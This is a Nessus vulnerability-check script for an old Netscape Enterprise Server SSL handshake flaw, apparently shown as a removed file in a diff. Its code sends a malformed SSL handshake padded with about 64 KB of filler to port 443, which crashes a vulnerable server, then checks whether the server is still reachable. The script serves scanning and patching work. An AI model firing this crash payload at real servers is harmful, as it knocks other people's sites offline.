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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10155);
- script_bugtraq_id(516);
- script_version ("$Revision: 1.22 $");
- script_cve_id("CVE-1999-0752");
- name["english"] = "Netscape Enterprise Server DoS";
- name["francais"] = "DΘni de service contre Netscape Entrerprise Server";
-
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- There is a SSL handshake bug in the remote
- secure web server which could lead into a
- denial of service.
-
- An attacker may use this flaw to prevent your
- site from working properly.
-
- Solution : if you are using Netscape Enterprise
- Server, there is a patch available at :
- http://help.netscape.com/business/filelib.html#SSLHandshake
- Or else, report this vulnerability to your vendor.
-
-
- BugTraq id : 516
- Risk factor : High";
-
-
- desc["francais"] = "
- Il y a un bug dans le handshake SSL du serveur
- web sΘcurisΘ distant qui a menΘ α un dΘni
- de service.
-
- Des pirates peuvent utiliser ce problΦme pour
- empecher votre site de fonctionner normallement.
-
- Solution : si vous utilisez Netscape Enterprise
- Server, il y a un patch disponible α :
- http://help.netscape.com/business/filelib.html#SSLHandshake
- Sinon, rapportez cette vulnΘrabilitΘ α votre vendeur.
-
-
- ID BugTraq : 516
- Facteur de risque : SΘrieux";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the remote SSL server";
- summary["francais"] = "Plante le serveur SSL distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_keys("www/iplanet");
- script_require_ports(443);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = 443;
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port, transport:ENCAPS_IP);
- if(soc)
- {
- s = raw_string(46, 46, 8,
- 0x01, 0x03, 0x00, 0x00, 0x0c,
- 0x00, 0x00, 0x00, 0x10, 0x02,
- 0x00, 0x80, 0x04, 0x00, 0x80,
- 0x00, 0x00, 0x03, 0x00, 0x00,
- 0x06) + crap(length:65516, data:".");
- send(socket:soc, data:s);
- close(soc);
- sleep(5);
- soc = open_sock_tcp(port);
- if(!soc)security_hole(port);
- else close(soc);
- }
- }
-
-